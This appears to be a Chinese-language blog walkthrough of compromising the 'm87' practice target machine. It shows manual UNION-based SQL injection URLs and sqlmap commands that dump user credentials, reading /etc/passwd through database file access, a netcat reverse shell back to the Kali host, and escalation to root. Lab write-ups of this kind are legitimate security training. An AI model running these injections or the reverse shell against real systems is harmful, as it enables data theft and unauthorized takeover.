m87靶机实验实战演练

一、明确目标

e954ee18b22d46a5b300107861a2e52d.png

Kali: ip

192.168.119.129

靶机:ip

192.168.119.146

 

二、信息搜集

端口扫描:nmap 192.168.119.146 开放了22、80、9090

d91db62da8f1438f8b069a5aca395759.png

目录扫描:初步对80 端口进行扫描

c83b06fde1d847c1868980b5b1541600.png

a23020d184784e0e9642e63242575859.png

 

Web 80端口 是一个登录框界面 普通用户登录

97da5334d8fc4e018dad8ad14eef22a4.png

 

 

看见有个备份的目录 访问看看

14018f42c8dd4a2b8df76830e3c9c24b.png

 

端口 9090 也是一个 登录框界面  但是是服务器用户身份 才能进行登录

bf5f03aa23714fcba51031f44f7fb3f4.png

http://192.168.119.146/admin     

d4388f367d634587b7dc5b3af60ff9f7.png

 

三、漏洞验证

使用sqlmap 验证是否存在sql 注入的漏洞

sqlmap -u "http://192.168.119.146/admin/?id=1"  --batch
 

86c2d074904a4d74ae049f0958154ccf.png

 

通过对 四个登录框界面 的测试 最后 在 http://192.168.119.146/admin   找到了存在注入的漏洞

通过 输入参数 id=1 回显正常

但  id=1’ 的时候 输出了报错信息

54b16d2cf1e24570993c434eb1b05752.png

 

存在三种可以利用的注入方式

1.基于错误的

2.时间盲注

3.UNION 联合查询

4d1447f619114053b0a0502d0dbc5283.png

手工注入篇

判断字段数

构造:http://192.168.119.146/admin/?id=1%20and%201=1%20order%20by%201

 

4d13e1ea86aa445196542e12ff261726.png

a8175fc4cd654237983ca89d7bb45668.png

 

在字段数输入2时出现报错 可见字段数为1.

 

判断回显点

http://192.168.119.146/admin/?id=1%20and%201=2%20union%20select%201

数字1 地方可以看见回显的内容

bf9d793818ae456a9d70ec7ce76b45e7.png

 

 

查询相关内容

那就好办了

查询当前数据库名http://192.168.119.146/admin/?id=1%20and%201=2%20union%20select%20database()

5532bc910065447bb6df66204970df2f.png

 

查看数据库版本http://192.168.119.146/admin/?id=1%20and%201=2%20union%20select%20version()

a3c0d5119fcd412bbec436a7d220d6dd.png

 

 

查看用户 http://192.168.119.146/admin/?id=1%20and%201=2%20union%20select%20user()

56f7062484664455a433eaa267cc45da.png

 

查询当前数据库表名

构造:http://192.168.119.146/admin/?id=1%20and%201=2%20union%20select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1

872ab923d0a94aada52c724fa1c8cf15.png

 

 

查询字段名 :id

构造:http://192.168.119.146/admin/?id=1 and 1=2 union select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1

98249c8f955d471fbc5aabffa0a2b2c3.png

 

字段名:username

构造:http://192.168.119.146/admin/?id=1 and 1=2 union select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1

d7230cc3c28b4a8a877f704644bf99e6.png

 

查询字段名 :password

构造:http://192.168.119.146/admin/?id=1 and 1=2 union select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1

a5447626d6de4a039e0b8eedc7b71a4d.png

 

查询字段名 :email

构造:http://192.168.119.146/admin/?id=1 and 1=2 union select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 3,3

d116abafa7214a67a27576620b1d296d.png

 

 

http://192.168.119.146/admin/?id=1 and 1=2 union select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,4

135e4321329645d589d86b49bb5cef0d.png

结合之前查出来的结果

users 表里 有  id   username  password  email  四个字段

 

 

 

查看 users 表里的所有username

~id=1-10

这里通过改id 的值来实现切换不同用户效果

65100e2119854b44844f3022d5a0a8cd.png

 

fa92c5cd18374580ba1d4db53245c899.png

100358d6dbdd4030910b4f24ff03b733.png

当id=11 时 ,没有显示用户名表明 最多有10个用户。

 

依次查看password 的第一列到第十列 对应用户的密码 通过修改limit 后门的值就可查询

第一个用户的密码:http://192.168.119.146/admin/?id=1 union all select password from  users  limit 1,1 

bf8b6130a9874037b3b9e14166b05cff.png #

第二个用户的密码:http://192.168.119.146/admin/?id=1 union all select password from  users  limit 2,1

… 一直查到第十个用户的密码

第十个用户的密码:http://192.168.119.146/admin/?id=1 union all select password from  users  limit 10,1 99189a254df24de09d6f7b0186475e45.png

 

查看10个用户的邮箱

第一个用户的邮箱格式 :用户名@localhost

acbcebeb8b1b493581ac1c08cd4e5ca7.png

 

一次性查看10 个用户的邮箱

Email:http://192.168.119.146/admin/?id=1 union select email from  users  limit 1,10

ce7eef2204ca4dea812eca998682e36b.png

 

jack@localhostceo@localhostbrad@localhostexpenses@localhostjulia@localhostmike@localhostadrian@localhostjohn@localhostadmin@localhostalex@localhost

 

sqlmap篇

1.暴库(列出所有的数据库)

sqlmap -u "http://192.168.119.146/admin/?id=1"  --dbs   

2df9bda4d5164bfda55ef9b59b7cdbfd.png

 

 2.web当前使用的数据库 为db

sqlmap -u "http://192.168.119.146/admin/?id=1"  --current-db

a86600810f0d4a8e8c0b7a0a3704fe79.png

 

3.当前使用数据库的用户

 sqlmap -u "http://192.168.119.146/admin/?id=1"  --current-user

f5bfaf5be5bd4e25a6d909eb04ea614f.png

 

4.列出数据库所有的用户

sqlmap -u "http://192.168.119.146/admin/?id=1"  --users

29061cd6795f439580f01193e9e99402.png

 

5.列出数据中所有的表 就一张users 表

sqlmap -u "http://192.168.119.146/admin/?id=1"  --tables -D db

1a904849096c4381a0d1c28a150be1b1.png

 

6.列出数据库db特定表users的结构,所有字段

sqlmap -u "http://192.168.119.146/admin/?id=1"  --columns -D db -T users
f08e1816beb441e9886dd7febb1bf003.png

 

7.然后对columns 中的id 、username 、 password 和 email  进行爆破

 sqlmap -u "http://192.168.119.146/admin/?id=1"  --columns -D db -T users -C id,username,password,email -dump

21a55b534dc745d0b9547e5f87b163d0.png

 

查看后10个用户的密码、邮箱 

1 jack        gae5g5a         jack@localhost

2 ceo        5t96y4i95y       ceo@localhost

3 brad       gae5g5a                brad@localhost 

4 expenses   5t96y4i95y            expenses@localhostj

5 julia        fw54vrfwe45        julia@localhost

6 mike       4kworw4               mike@localhost

7 adrian      fw54vrfwe45        adrian@localhost

8 john       4kworw4         john@localhost

9 admin     15The4Dm1n4L1f3 admin@localhost

10 alex      dsfsrw4          alex@localhost

 

去登录界面尝试用搜集到的用户名、邮箱、密码去登录 发现 都登录不了

 

通过查阅资料  了解到 可以通过数据库有读取文件的权限 去查看/etc/passwd 文件内容

078411f06a4349bb9200c47d08e12fa7.png

a9b9a98e6d7548dcade8430dc6fbd007.png

 

看见 将文件存在kali 本地目录下

8c8ac264dc4e47c3b61313813e574f6b.png

 

使用 cat 命令 去对应的目录下查看

cffcc02d4e714d6b868d6a881d58a381.png

 

 

四、漏洞利用

bin/bash 有命令执行权限

从中找到 和root 权限相似的 用户 charlotte

f168565a857f42c0830c5f4ac65138ef.png

1bf79f33cfda4c12be56d7bf2259e194.png

 

 

https://192.168.119.146:80/  这个登录需要邮箱 暂时就不进行测试。

 

9c2ea2f93aa748ce892c72d80f912ccf.png

 

 

 

 

https://192.168.119.146:9090/ 这个登陆界面 刚好符合条件

结合之前的密码 , 和etc/passwd 下的 Charlotte 用户

 

7cdbb4a2bf384380811cea9fb802a472.png

 

 

Charlotte

随便输入

aadadad

抓包

2f198965fecc48faadb9aec3c6f54d8e.png

 

发现输入的用户名密码会被base64 加密

将Y2hhcmxvdHRlOmFkYWFkYWQ=

解码后charlotte:aadadad

加密方式 用户名+密码  进行base64

ac060ca54ac042b5845d94ffc315c69f.png


Basic 认证是HTTP 中非常简单的认证方式,因为简单,所以不是很安全,不过仍然非常常用。

当一个客户端向一个需要认证的HTTP服务器进行数据请求时,如果之前没有认证过,HTTP服务器会返回401状态码,要求客户端输入用户名和密码。用户输入用户名和密码后,用户名和密码会经过BASE64加密附加到请求信息中再次请求HTTP服务器,HTTP服务器会根据请求头携带的认证信息,决定是否认证成功及做出相应的响应。
 

这里本人能力有限 爆破字典 里的密码就手动输入了

用户名 为 charlotte 不变 

密码对之前记录下来的密码依次尝试登录 

08aa8fe3a94145d1896d36c48a1f6d07.png

 

 

最后得出结果

用户名:charlotte

密码:15The4Dm1n4L1f3

 

 

登录之后查看 有什么可以利用的

9d2b9fef04074069899a1165db92fb16.png

在终端发现了 一个local.txt

8d8c1e06cc97463cbe559de8f71be648.png

 

 

五、权限提升

利用反弹shell , 设置为kali ip , 端口 设置为6666 .

~nc  192.168.119.129 6666 -e /bin/bash

 

终端执行以下命令

200f04057be64a5896377c08ac7b3a04.png

 

Kali 上 开启监听端口

3ca07bfafcee4610a51861c15ea77f64.png

Kali 端 等待消息

6ee251cad52647119d0fd21dc9169261.png

打开一个python 伪终端

python -c 'import pty;pty.spawn("/bin/bash")'

-c参数选项允许我们直接在命令终端里面执行指定脚本

82fd35d08bb048d795213ae81afdb5d4.png

900be2b682a644c79b115e3fa0d92bb1.png

 

查看python 版本为 2.7.16

可以使用os 模块调用本地的root 的shell

c69f6da51d1241329b782e6d235be945.png

查看 id  确认root 身份 ,提权成功

4896af6c5e624122bee5444a269bb39b.png

恭喜完成,你太棒了!!!

 

总结:

      1.通过sql 注入搜集用户名、密码、邮箱信息

      2.通过反弹shell 获取终端控制权限 执行命令

      3.使用os 模块调用本地的root 的shell 来到root 目录下 查看目标信息

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值